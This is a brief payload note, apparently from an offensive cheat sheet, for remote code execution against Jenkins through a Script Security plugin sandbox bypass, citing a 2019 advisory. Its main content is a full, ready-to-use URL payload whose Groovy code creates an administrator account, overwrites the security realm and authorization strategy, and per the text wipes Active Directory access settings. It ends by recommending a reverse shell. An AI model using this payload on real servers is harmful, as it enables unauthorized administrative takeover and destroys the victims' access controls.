Jenkins Metaprogramming RCE Create new user

payload

http://localhost:8080/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/?sandbox=True&value=import+jenkins.model.*%0aimport+hudson.security.*%0aclass+nice{nice(){def+instance=Jenkins.getInstance();def+hudsonRealm=new+HudsonPrivateSecurityRealm(false);hudsonRealm.createAccount("game","game");instance.setSecurityRealm(hudsonRealm);instance.save();def+strategy=new+GlobalMatrixAuthorizationStrategy();%0astrategy.add(Jenkins.ADMINISTER,'game');instance.setAuthorizationStrategy(strategy)}}

jenkinsci/script-security-plugin@f2649a7

https://jenkins.io/security/advisory/2019-03-06/

In addition to creating a privileged account, this disabled Active Directory authentication and destroyed the role-based configuration for Active Directory groups vs. Jenkins folders.

This will work but will also absolutely trash the whole security configuration! Use with caution!
If applicable, prefer the use of a Groovy/Bash reverse shell.